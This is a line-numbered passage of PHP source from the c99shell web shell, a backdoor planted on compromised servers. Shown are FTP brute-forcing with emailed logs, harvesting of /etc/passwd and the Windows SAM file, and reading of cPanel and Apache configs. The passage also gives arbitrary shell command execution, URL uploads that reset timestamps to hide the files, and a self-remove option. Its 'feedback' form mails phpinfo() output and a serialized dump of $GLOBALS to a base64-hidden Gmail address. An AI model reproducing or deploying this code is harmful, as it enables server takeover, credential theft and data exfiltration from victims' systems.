2684 $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): " . $ftpquick_t . "\r\nTotal connections: " . $i . "\r\nSuccess.: " . $success . "\r\nUnsuccess.:" . ($i - $success) . "\r\nConnects per second: " . round($i / $ftpquick_t, 2) . "\r\n";
2685 if ($fqb_logfp)
2686 {
2687 fseek($fqb_logfp, 0);
2688 fwrite($fqb_logfp, $fqb_log, strlen($fqb_log));
2689 }
2690 if ($fqb_logemail)
2691 {
2692 @mail($fqb_logemail, "c99shell v. " . $shver . " report", $fqb_log);
2693 }
2694 fclose($fqb_logfp);
2695 }
2696 }
2697 else
2698 {
2699 $logfile = $tmpdir_logs . "c99sh_ftpquickbrute_" . date("d.m.Y_H_i_s") . ".log";
2700 $logfile = str_replace("//", DIRECTORY_SEPARATOR, $logfile);
2701 echo "<form action=\"" . $surl . "\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"" . $nixpwdperpage . "\"><br><br>Users only with shell? <input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging? <input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file? <input type=\"text\" name=\"fqb_logfile\" value=\"" . $logfile . "\" size=\"" . (strlen($logfile) + 2 * (strlen($logfile) / 10)) . "\"><br>Logging to e-mail? <input type=\"text\" name=\"fqb_logemail\" value=\"" . $log_email . "\" size=\"" . (strlen($logemail) + 2 * (strlen($logemail) / 10)) . "\"><br><br><input type=submit name=submit value=\"Brute\"></form>";
2702 }
2703 }
2704 }
2705 if ($act == "d")
2706 {
2707 if (!is_dir($d))
2708 {
2709 echo "<center><b>Permision denied!</b></center>";
2710 }
2711 else
2712 {
2713 echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
2714 if (!$win)
2715 {
2716 echo "<tr><td><b>Owner/Group</b></td><td> ";
2717 $ow = posix_getpwuid(fileowner($d));
2718 $gr = posix_getgrgid(filegroup($d));
2719 $row[] = ($ow["name"] ? $ow["name"] : fileowner($d)) . "/" . ($gr["name"] ? $gr["name"] : filegroup($d));
2720 }
2721 echo "<tr><td><b>Perms</b></td><td><a href=\"" . $surl . "act=chmod&d=" . urlencode($d) . "\"><b>" . view_perms_color($d) . "</b></a><tr><td><b>Create time</b></td><td> " . date("d/m/Y H:i:s", filectime($d)) . "</td></tr><tr><td><b>Access time</b></td><td> " . date("d/m/Y H:i:s", fileatime($d)) . "</td></tr><tr><td><b>MODIFY time</b></td><td> " . date("d/m/Y H:i:s", filemtime($d)) . "</td></tr></table><br>";
2722 }
2723 }
2724 if ($act == "phpinfo")
2725 {
2726 @ob_clean();
2727 phpinfo();
2728 c99shexit();
2729 }
2730 if ($act == "security")
2731 {
2732 echo "<center><b>Server security information:</b></center><b>Open base dir: " . $hopenbasedir . "</b><br>";
2733 if (!$win)
2734 {
2735 if ($nixpasswd)
2736 {
2737 if ($nixpasswd == 1)
2738 {
2739 $nixpasswd = 0;
2740 }
2741 echo "<b>*nix /etc/passwd:</b><br>";
2742 if (!is_numeric($nixpwd_s))
2743 {
2744 $nixpwd_s = 0;
2745 }
2746 if (!is_numeric($nixpwd_e))
2747 {
2748 $nixpwd_e = $nixpwdperpage;
2749 }
2750 echo "<form action=\"" . $surl . "\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b> <input type=\"text=\" name=\"nixpwd_s\" value=\"" . $nixpwd_s . "\"> <b>To:</b> <input type=\"text\" name=\"nixpwd_e\" value=\"" . $nixpwd_e . "\"> <input type=submit value=\"View\"></form><br>";
2751 $i = $nixpwd_s;
2752 while ($i < $nixpwd_e)
2753 {
2754 $uid = posix_getpwuid($i);
2755 if ($uid)
2756 {
2757 $uid["dir"] = "<a href=\"" . $surl . "act=ls&d=" . urlencode($uid["dir"]) . "\">" . $uid["dir"] . "</a>";
2758 echo join(":", $uid) . "<br>";
2759 }
2760 $i++;
2761 }
2762 }
2763 else
2764 {
2765 echo "<br><a href=\"" . $surl . "act=security&nixpasswd=1&d=" . $ud . "\"><b><u>Get /etc/passwd</u></b></a><br>";
2766 }
2767 }
2768 else
2769 {
2770 $v = $_SERVER["WINDIR"] . "\repair\sam";
2771 if (file_get_contents($v))
2772 {
2773 echo "<b><font color=red>You can't crack winnt passwords(" . $v . ") </font></b><br>";
2774 }
2775 else
2776 {
2777 echo "<b><font color=green>You can crack winnt passwords. <a href=\"" . $surl . "act=f&f=sam&d=" . $_SERVER["WINDIR"] . "\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ©.</font></b><br>";
2778 }
2779 }
2780 if (file_get_contents("/etc/userdomains"))
2781 {
2782 echo "<b><font color=green><a href=\"" . $surl . "act=f&f=userdomains&d=" . urlencode("/etc") . "&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";
2783 }
2784 if (file_get_contents("/var/cpanel/accounting.log"))
2785 {
2786 echo "<b><font color=green><a href=\"" . $surl . "act=f&f=accounting.log&d=" . urlencode("/var/cpanel/") . "\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";
2787 }
2788 if (file_get_contents("/usr/local/apache/conf/httpd.conf"))
2789 {
2790 echo "<b><font color=green><a href=\"" . $surl . "act=f&f=httpd.conf&d=" . urlencode("/usr/local/apache/conf") . "&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";
2791 }
2792 if (file_get_contents("/etc/httpd.conf"))
2793 {
2794 echo "<b><font color=green><a href=\"" . $surl . "act=f&f=httpd.conf&d=" . urlencode("/etc") . "&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";
2795 }
2796 if (file_get_contents("/etc/syslog.conf"))
2797 {
2798 echo "<b><font color=green><a href=\"" . $surl . "act=f&f=syslog.conf&d=" . urlencode("/etc") . "&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";
2799 }
2800 if (file_get_contents("/etc/motd"))
2801 {
2802 echo "<b><font color=green><a href=\"" . $surl . "act=f&f=motd&d=" . urlencode("/etc") . "&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";
2803 }
2804 if (file_get_contents("/etc/hosts"))
2805 {
2806 echo "<b><font color=green><a href=\"" . $surl . "act=f&f=hosts&d=" . urlencode("/etc") . "&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";
2807 }
2808 function displaysecinfo($name, $value)
2809 {
2810 if (!empty($value))
2811 {
2812 if (!empty($name))
2813 {
2814 $name = "<b>" . $name . " - </b>";
2815 }
2816 echo $name . nl2br($value) . "<br>";
2817 }
2818 }
2819 displaysecinfo("OS Version?", myshellexec("cat /proc/version"));
2820 displaysecinfo("Kernel version?", myshellexec("sysctl -a | grep version"));
2821 displaysecinfo("Distrib name", myshellexec("cat /etc/issue.net"));
2822 displaysecinfo("Distrib name (2)", myshellexec("cat /etc/*-realise"));
2823 displaysecinfo("CPU?", myshellexec("cat /proc/cpuinfo"));
2824 displaysecinfo("RAM", myshellexec("free -m"));
2825 displaysecinfo("HDD space", myshellexec("df -h"));
2826 displaysecinfo("List of Attributes", myshellexec("lsattr -a"));
2827 displaysecinfo("Mount options ", myshellexec("cat /etc/fstab"));
2828 displaysecinfo("Is cURL installed?", myshellexec("which curl"));
2829 displaysecinfo("Is lynx installed?", myshellexec("which lynx"));
2830 displaysecinfo("Is links installed?", myshellexec("which links"));
2831 displaysecinfo("Is fetch installed?", myshellexec("which fetch"));
2832 displaysecinfo("Is GET installed?", myshellexec("which GET"));
2833 displaysecinfo("Is perl installed?", myshellexec("which perl"));
2834 displaysecinfo("Where is apache", myshellexec("whereis apache"));
2835 displaysecinfo("Where is perl?", myshellexec("whereis perl"));
2836 displaysecinfo("locate proftpd.conf", myshellexec("locate proftpd.conf"));
2837 displaysecinfo("locate httpd.conf", myshellexec("locate httpd.conf"));
2838 displaysecinfo("locate my.conf", myshellexec("locate my.conf"));
2839 displaysecinfo("locate psybnc.conf", myshellexec("locate psybnc.conf"));
2840 }
2841 if ($act == "mkfile")
2842 {
2843 if ($mkfile != $d)
2844 {
2845 if (file_exists($mkfile))
2846 {
2847 echo "<b>Make File \"" . htmlspecialchars($mkfile) . "\"</b>: object alredy exists";
2848 }
2849 elseif (!fopen($mkfile, "w"))
2850 {
2851 echo "<b>Make File \"" . htmlspecialchars($mkfile) . "\"</b>: access denied";
2852 }
2853 else
2854 {
2855 $act = "f";
2856 $d = dirname($mkfile);
2857 if (substr($d, -1) != DIRECTORY_SEPARATOR)
2858 {
2859 $d .= DIRECTORY_SEPARATOR;
2860 }
2861 $f = basename($mkfile);
2862 }
2863 }
2864 else
2865 {
2866 $act = $dspact = "ls";
2867 }
2868 }
2869 if ($act == "encoder")
2870 {
2871 echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"" . $surl . "\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>" . @htmlspecialchars($encoder_input) . "</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>";
2872 foreach (array(
2873 "md5",
2874 "crypt",
2875 "sha1",
2876 "crc32"
2877 ) as $v)
2878 {
2879 echo $v . " - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"" . $v($encoder_input) . "\" readonly><br>";
2880 }
2881 echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"" . urlencode($encoder_input) . "\" readonly>
2882 <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"" . htmlspecialchars(urldecode($encoder_input)) . "\" readonly>
2883 <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"" . base64_encode($encoder_input) . "\" readonly></center>";
2884 echo "<center>base64_decode - ";
2885 if (base64_encode(base64_decode($encoder_input)) != $encoder_input)
2886 {
2887 echo "<input type=text size=35 value=\"failed\" disabled readonly>";
2888 }
2889 else
2890 {
2891 $debase64 = base64_decode($encoder_input);
2892 $debase64 = str_replace("\0", "[0]", $debase64);
2893 $a = explode("\r\n", $debase64);
2894 $rows = count($a);
2895 $debase64 = htmlspecialchars($debase64);
2896 if ($rows == 1)
2897 {
2898 echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"" . $debase64 . "\" id=\"debase64\" readonly>";
2899 }
2900 else
2901 {
2902 $rows++;
2903 echo "<textarea cols=\"40\" rows=\"" . $rows . "\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>" . $debase64 . "</textarea>";
2904 }
2905 echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";
2906 }
2907 echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
2908 $c = strlen($encoder_input);
2909 for ($i = 0;$i < $c;$i++)
2910 {
2911 $hex = dechex(ord($encoder_input[$i]));
2912 if ($encoder_input[$i] == "&")
2913 {
2914 echo $encoder_input[$i];
2915 }
2916 elseif ($encoder_input[$i] != "\\")
2917 {
2918 echo "%" . $hex;
2919 }
2920 }
2921 echo "\" readonly><br></center></form>";
2922 }
2923 if ($act == "fsbuff")
2924 {
2925 $arr_copy = $sess_data["copy"];
2926 $arr_cut = $sess_data["cut"];
2927 $arr = array_merge($arr_copy, $arr_cut);
2928 if (count($arr) == 0)
2929 {
2930 echo "<center><b>Buffer is empty!</b></center>";
2931 }
2932 else
2933 {
2934 echo "<b>File-System buffer</b><br><br>";
2935 $ls_arr = $arr;
2936 $disp_fullpath = true;
2937 $act = "ls";
2938 }
2939 }
2940 if ($act == "selfremove")
2941 {
2942 if (($submit == $rndcode) and ($submit != ""))
2943 {
2944 if (unlink(__FILE__))
2945 {
2946 @ob_clean();
2947 echo "Thanks for using c99shell v." . $shver . "!";
2948 c99shexit();
2949 }
2950 else
2951 {
2952 echo "<center><b>Can't delete " . __FILE__ . "!</b></center>";
2953 }
2954 }
2955 else
2956 {
2957 if (!empty($rndcode))
2958 {
2959 echo "<b>Error: incorrect confimation!</b>";
2960 }
2961 $rnd = rand(0, 9) . rand(0, 9) . rand(0, 9);
2962 echo "<form action=\"" . $surl . "\"><input type=hidden name=act value=selfremove><b>Self-remove: " . __FILE__ . " <br><b>Are you sure?<br>For confirmation, enter \"" . $rnd . "\"</b>: <input type=hidden name=rndcode value=\"" . $rnd . "\"><input type=text name=submit> <input type=submit value=\"YES\"></form>";
2963 }
2964 }
2965 if ($act == "update")
2966 {
2967 $ret = c99sh_getupdate(!!$confirmupdate);
2968 echo "<b>" . $ret . "</b>";
2969 if (stristr($ret, "new version"))
2970 {
2971 echo "<br><br><input type=button onclick=\"location.href='" . $surl . "act=update&confirmupdate=1';\" value=\"Update now\">";
2972 }
2973 }
2974 if ($act == "feedback")
2975 {
2976 $suppmail = base64_decode("c2VjdXJlaGFzaHBoaWxpcHBpbmVzQGdtYWlsLmNvbQ==");
2977 if (!empty($submit))
2978 {
2979 $ticket = substr(md5(microtime() + rand(1, 1000)) , 0, 6);
2980 $body = "c99shell v." . $shver . " feedback #" . $ticket . "\nName: " . htmlspecialchars($fdbk_name) . "\nE-mail: " . htmlspecialchars($fdbk_email) . "\nMessage:\n" . htmlspecialchars($fdbk_body) . "\n\nIP: " . $REMOTE_ADDR;
2981 if (!empty($fdbk_ref))
2982 {
2983 $tmp = @ob_get_contents();
2984 ob_clean();
2985 phpinfo();
2986 $phpinfo = base64_encode(ob_get_contents());
2987 ob_clean();
2988 echo $tmp;
2989 $body .= "\n" . "phpinfo(): " . $phpinfo . "\n" . "\$GLOBALS=" . base64_encode(serialize($GLOBALS)) . "\n";
2990 }
2991 mail($suppmail, "c99shell v." . $shver . " feedback #" . $ticket, $body, "FROM: " . $suppmail);
2992 echo "<center><b>Thanks for your feedback! Your ticket ID: " . $ticket . ".</b></center>";
2993 }
2994 else
2995 {
2996 echo "<form action=\"" . $surl . "\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (" . str_replace(array(
2997 "@",
2998 "."
2999 ) , array(
3000 "[at]",
3001 "[dot]"
3002 ) , $suppmail) . "):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"" . htmlspecialchars($fdbk_name) . "\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"" . htmlspecialchars($fdbk_email) . "\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>" . htmlspecialchars($fdbk_body) . "</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"" . urlencode($HTTP_REFERER) . "\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";
3003 }
3004 }
3005 if ($act == "search")
3006 {
3007 echo "<b>Search in file-system:</b><br>";
3008 if (empty($search_in))
3009 {
3010 $search_in = $d;
3011 }
3012 if (empty($search_name))
3013 {
3014 $search_name = "(.*)";
3015 $search_name_regexp = 1;
3016 }
3017 if (empty($search_text_wwo))
3018 {
3019 $search_text_regexp = 0;
3020 }
3021 if (!empty($submit))
3022 {
3023 $found = array();
3024 $found_d = 0;
3025 $found_f = 0;
3026 $search_i_f = 0;
3027 $search_i_d = 0;
3028 $a = array(
3029 "name" => $search_name,
3030 "name_regexp" => $search_name_regexp,
3031 "text" => $search_text,
3032 "text_regexp" => $search_text_regxp,
3033 "text_wwo" => $search_text_wwo,
3034 "text_cs" => $search_text_cs,
3035 "text_not" => $search_text_not
3036 );
3037 $searchtime = getmicrotime();
3038 $in = array_unique(explode(";", $search_in));
3039 foreach ($in as $v)
3040 {
3041 c99fsearch($v);
3042 }
3043 $searchtime = round(getmicrotime() - $searchtime, 4);
3044 if (count($found) == 0)
3045 {
3046 echo "<b>No files found!</b>";
3047 }
3048 else
3049 {
3050 $ls_arr = $found;
3051 $disp_fullpath = true;
3052 $act = "ls";
3053 }
3054 }
3055 echo "<form method=POST>
3056<input type=hidden name=\"d\" value=\"" . $dispd . "\"><input type=hidden name=act value=\"" . $dspact . "\">
3057<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"" . round(strlen($search_name) + 25) . "\" value=\"" . htmlspecialchars($search_name) . "\"> <input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" " . ($search_name_regexp == 1 ? " checked" : "") . "> - regexp
3058<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"" . round(strlen($search_in) + 25) . "\" value=\"" . htmlspecialchars($search_in) . "\">
3059<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">" . htmlspecialchars($search_text) . "</textarea>
3060<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" " . ($search_text_regexp == 1 ? " checked" : "") . "> - regexp
3061 <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" " . ($search_text_wwo == 1 ? " checked" : "") . "> - <u>w</u>hole words only
3062 <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" " . ($search_text_cs == 1 ? " checked" : "") . "> - cas<u>e</u> sensitive
3063 <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" " . ($search_text_not == 1 ? " checked" : "") . "> - find files <u>NOT</u> containing the text
3064<br><br><input type=submit name=submit value=\"Search\"></form>";
3065 if ($act == "ls")
3066 {
3067 $dspact = $act;
3068 echo "<hr size=\"1\" noshade><b>Search took " . $searchtime . " secs (" . $search_i_f . " files and " . $search_i_d . " folders, " . round(($search_i_f + $search_i_d) / $searchtime, 4) . " objects per second).</b><br><br>";
3069 }
3070 }
3071 if ($act == "chmod")
3072 {
3073 $mode = fileperms($d . $f);
3074 if (!$mode)
3075 {
3076 echo "<b>Change file-mode with error:</b> can't get current value.";
3077 }
3078 else
3079 {
3080 $form = true;
3081 if ($chmod_submit)
3082 {
3083 $octet = "0" . base_convert(($chmod_o["r"] ? 1 : 0) . ($chmod_o["w"] ? 1 : 0) . ($chmod_o["x"] ? 1 : 0) . ($chmod_g["r"] ? 1 : 0) . ($chmod_g["w"] ? 1 : 0) . ($chmod_g["x"] ? 1 : 0) . ($chmod_w["r"] ? 1 : 0) . ($chmod_w["w"] ? 1 : 0) . ($chmod_w["x"] ? 1 : 0) , 2, 8);
3084 if (chmod($d . $f, $octet))
3085 {
3086 $act = "ls";
3087 $form = false;
3088 $err = "";
3089 }
3090 else
3091 {
3092 $err = "Can't chmod to " . $octet . ".";
3093 }
3094 }
3095 if ($form)
3096 {
3097 $perms = parse_perms($mode);
3098 echo "<b>Changing file-mode (" . $d . $f . "), " . view_perms_color($d . $f) . " (" . substr(decoct(fileperms($d . $f)) , -4, 4) . ")</b><br>" . ($err ? "<b>Error:</b> " . $err : "") . "<form action=\"" . $surl . "\" method=POST><input type=hidden name=d value=\"" . htmlspecialchars($d) . "\"><input type=hidden name=f value=\"" . htmlspecialchars($f) . "\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1" . ($perms["o"]["r"] ? " checked" : "") . "> Read<br><input type=checkbox name=chmod_o[w] value=1" . ($perms["o"]["w"] ? " checked" : "") . "> Write<br><input type=checkbox NAME=chmod_o[x] value=1" . ($perms["o"]["x"] ? " checked" : "") . ">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1" . ($perms["g"]["r"] ? " checked" : "") . "> Read<br><input type=checkbox NAME=chmod_g[w] value=1" . ($perms["g"]["w"] ? " checked" : "") . "> Write<br><input type=checkbox NAME=chmod_g[x] value=1" . ($perms["g"]["x"] ? " checked" : "") . ">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1" . ($perms["w"]["r"] ? " checked" : "") . "> Read<br><input type=checkbox NAME=chmod_w[w] value=1" . ($perms["w"]["w"] ? " checked" : "") . "> Write<br><input type=checkbox NAME=chmod_w[x] value=1" . ($perms["w"]["x"] ? " checked" : "") . ">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
3099 }
3100 }
3101 }
3102 if ($act == "upload")
3103 {
3104 $uploadmess = "";
3105 $uploadpath = str_replace("\\", DIRECTORY_SEPARATOR, $uploadpath);
3106 if (empty($uploadpath))
3107 {
3108 $uploadpath = $d;
3109 }
3110 elseif (substr($uploadpath, -1) != "/")
3111 {
3112 $uploadpath .= "/";
3113 }
3114 if (!empty($submit))
3115 {
3116 global $HTTP_POST_FILES;
3117 $uploadfile = $HTTP_POST_FILES["uploadfile"];
3118 if (!empty($uploadfile["tmp_name"]))
3119 {
3120 if (empty($uploadfilename))
3121 {
3122 $destin = $uploadfile["name"];
3123 }
3124 else
3125 {
3126 $destin = $userfilename;
3127 }
3128 if (!move_uploaded_file($uploadfile["tmp_name"], $uploadpath . $destin))
3129 {
3130 $uploadmess .= "Error uploading file " . $uploadfile["name"] . " (can't copy \"" . $uploadfile["tmp_name"] . "\" to \"" . $uploadpath . $destin . "\"!<br>";
3131 }
3132 }
3133 elseif (!empty($uploadurl))
3134 {
3135 if (!empty($uploadfilename))
3136 {
3137 $destin = $uploadfilename;
3138 }
3139 else
3140 {
3141 $destin = explode("/", $destin);
3142 $destin = $destin[count($destin) - 1];
3143 if (empty($destin))
3144 {
3145 $i = 0;
3146 $b = "";
3147 while (file_exists($uploadpath . $destin))
3148 {
3149 if ($i > 0)
3150 {
3151 $b = "_" . $i;
3152 }
3153 $destin = "index" . $b . ".html";
3154 $i++;
3155 }
3156 }
3157 }
3158 if ((!preg_match("http://", $uploadurl)) and (!preg_match("https://", $uploadurl)) and (!preg_match("ftp://", $uploadurl)))
3159 {
3160 echo "<b>Incorect url!</b><br>";
3161 }
3162 else
3163 {
3164 $st = getmicrotime();
3165 $content = @file_get_contents($uploadurl);
3166 $dt = round(getmicrotime() - $st, 4);
3167 if (!$content)
3168 {
3169 $uploadmess .= "Can't download file!<br>";
3170 }
3171 else
3172 {
3173 if ($filestealth)
3174 {
3175 $stat = stat($uploadpath . $destin);
3176 }
3177 $fp = fopen($uploadpath . $destin, "w");
3178 if (!$fp)
3179 {
3180 $uploadmess .= "Error writing to file " . htmlspecialchars($destin) . "!<br>";
3181 }
3182 else
3183 {
3184 fwrite($fp, $content, strlen($content));
3185 fclose($fp);
3186 if ($filestealth)
3187 {
3188 touch($uploadpath . $destin, $stat[9], $stat[8]);
3189 }
3190 }
3191 }
3192 }
3193 }
3194 }
3195 if ($miniform)
3196 {
3197 echo "<b>" . $uploadmess . "</b>";
3198 $act = "ls";
3199 }
3200 else
3201 {
3202 echo "<b>File upload:</b><br><b>" . $uploadmess . "</b><form enctype=\"multipart/form-data\" action=\"" . $surl . "act=upload&d=" . urlencode($d) . "\" method=POST>
3203Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br> or<br>
3204Input URL: <input name=\"uploadurl\" type=\"text\" value=\"" . htmlspecialchars($uploadurl) . "\" size=\"70\"><br><br>
3205Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"" . $dispd . "\"><br><br>
3206File-name (auto-fill): <input name=uploadfilename size=25><br><br>
3207<input type=checkbox name=uploadautoname value=1 id=df4> convert file name to lovercase<br><br>
3208<input type=submit name=submit value=\"Upload\">
3209</form>";
3210 }
3211 }
3212 if ($act == "delete")
3213 {
3214 $delerr = "";
3215 foreach ($actbox as $v)
3216 {
3217 $result = false;
3218 $result = fs_rmobj($v);
3219 if (!$result)
3220 {
3221 $delerr .= "Can't delete " . htmlspecialchars($v) . "<br>";
3222 }
3223 }
3224 if (!empty($delerr))
3225 {
3226 echo "<b>Deleting with errors:</b><br>" . $delerr;
3227 }
3228 $act = "ls";
3229 }
3230 if (!$usefsbuff)
3231 {
3232 if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect"))
3233 {
3234 echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";
3235 }
3236 }
3237 else
3238 {
3239 if ($act == "copy")
3240 {
3241 $err = "";
3242 $sess_data["copy"] = array_merge($sess_data["copy"], $actbox);
3243 c99_sess_put($sess_data);
3244 $act = "ls";
3245 }
3246 elseif ($act == "cut")
3247 {
3248 $sess_data["cut"] = array_merge($sess_data["cut"], $actbox);
3249 c99_sess_put($sess_data);
3250 $act = "ls";
3251 }
3252 elseif ($act == "unselect")
3253 {
3254 foreach ($sess_data["copy"] as $k => $v)
3255 {
3256 if (in_array($v, $actbox))
3257 {
3258 unset($sess_data["copy"][$k]);
3259 }
3260 }
3261 foreach ($sess_data["cut"] as $k => $v)
3262 {
3263 if (in_array($v, $actbox))
3264 {
3265 unset($sess_data["cut"][$k]);
3266 }
3267 }
3268 c99_sess_put($sess_data);
3269 $act = "ls";
3270 }
3271 if ($actemptybuff)
3272 {
3273 $sess_data["copy"] = $sess_data["cut"] = array();
3274 c99_sess_put($sess_data);
3275 }
3276 elseif ($actpastebuff)
3277 {
3278 $psterr = "";
3279 foreach ($sess_data["copy"] as $k => $v)
3280 {
3281 $to = $d . basename($v);
3282 if (!fs_copy_obj($v, $to))
3283 {
3284 $psterr .= "Can't copy " . $v . " to " . $to . "!<br>";
3285 }
3286 if ($copy_unset)
3287 {
3288 unset($sess_data["copy"][$k]);
3289 }
3290 }
3291 foreach ($sess_data["cut"] as $k => $v)
3292 {
3293 $to = $d . basename($v);
3294 if (!fs_move_obj($v, $to))
3295 {
3296 $psterr .= "Can't move " . $v . " to " . $to . "!<br>";
3297 }
3298 unset($sess_data["cut"][$k]);
3299 }
3300 c99_sess_put($sess_data);
3301 if (!empty($psterr))
3302 {
3303 echo "<b>Pasting with errors:</b><br>" . $psterr;
3304 }
3305 $act = "ls";
3306 }
3307 elseif ($actarcbuff)
3308 {
3309 $arcerr = "";
3310 if (substr($actarcbuff_path, -7, 7) == ".tar.gz")
3311 {
3312 $ext = ".tar.gz";
3313 }
3314 else
3315 {
3316 $ext = ".tar.gz";
3317 }
3318 if ($ext == ".tar.gz")
3319 {
3320 $cmdline = "tar cfzv";
3321 }
3322 $cmdline .= " " . $actarcbuff_path;
3323 $objects = array_merge($sess_data["copy"], $sess_data["cut"]);
3324 foreach ($objects as $v)
3325 {
3326 $v = str_replace("\\", DIRECTORY_SEPARATOR, $v);
3327 if (substr($v, 0, strlen($d)) == $d)
3328 {
3329 $v = basename($v);
3330 }
3331 if (is_dir($v))
3332 {
3333 if (substr($v, -1) != DIRECTORY_SEPARATOR)
3334 {
3335 $v .= DIRECTORY_SEPARATOR;
3336 }
3337 $v .= "*";
3338 }
3339 $cmdline .= " " . $v;
3340 }
3341 $tmp = realpath(".");
3342 chdir($d);
3343 $ret = myshellexec($cmdline);
3344 chdir($tmp);
3345 if (empty($ret))
3346 {
3347 $arcerr .= "Can't call archivator (" . htmlspecialchars(str2mini($cmdline, 60)) . ")!<br>";
3348 }
3349 $ret = str_replace("\r\n", "\n", $ret);
3350 $ret = explode("\n", $ret);
3351 if ($copy_unset)
3352 {
3353 foreach ($sess_data["copy"] as $k => $v)
3354 {
3355 unset($sess_data["copy"][$k]);
3356 }
3357 }
3358 foreach ($sess_data["cut"] as $k => $v)
3359 {
3360 if (in_array($v, $ret))
3361 {
3362 fs_rmobj($v);
3363 }
3364 unset($sess_data["cut"][$k]);
3365 }
3366 c99_sess_put($sess_data);
3367 if (!empty($arcerr))
3368 {
3369 echo "<b>Archivation errors:</b><br>" . $arcerr;
3370 }
3371 $act = "ls";
3372 }
3373 elseif ($actpastebuff)
3374 {
3375 $psterr = "";
3376 foreach ($sess_data["copy"] as $k => $v)
3377 {
3378 $to = $d . basename($v);
3379 if (!fs_copy_obj($v, $d))
3380 {
3381 $psterr .= "Can't copy " . $v . " to " . $to . "!<br>";
3382 }
3383 if ($copy_unset)
3384 {
3385 unset($sess_data["copy"][$k]);
3386 }
3387 }
3388 foreach ($sess_data["cut"] as $k => $v)
3389 {
3390 $to = $d . basename($v);
3391 if (!fs_move_obj($v, $d))
3392 {
3393 $psterr .= "Can't move " . $v . " to " . $to . "!<br>";
3394 }
3395 unset($sess_data["cut"][$k]);
3396 }
3397 c99_sess_put($sess_data);
3398 if (!empty($psterr))
3399 {
3400 echo "<b>Pasting with errors:</b><br>" . $psterr;
3401 }
3402 $act = "ls";
3403 }
3404 }
3405 if ($act == "cmd")
3406 {
3407 if (trim($cmd) == "ps -aux")
3408 {
3409 $act = "processes";
3410 }
3411 elseif (trim($cmd) == "tasklist")
3412 {
3413 $act = "processes";
3414 }
3415 else
3416 {
3417 @chdir($chdir);
3418 if (!empty($submit))
3419 {
3420 echo "<b>Result of execution this command</b>:<br>";
3421 $olddir = realpath(".");
3422 @chdir($d);
3423 $ret = myshellexec($cmd);
3424 $ret = convert_cyr_string($ret, "d", "w");
3425 if ($cmd_txt)
3426 {
3427 $rows = count(explode("\r\n", $ret)) + 1;
3428 if ($rows < 10)
3429 {
3430 $rows = 10;
3431 }
3432 echo "<br><textarea cols=\"122\" rows=\"" . $rows . "\" readonly>" . htmlspecialchars($ret) . "</textarea>";
3433 }
3434 else
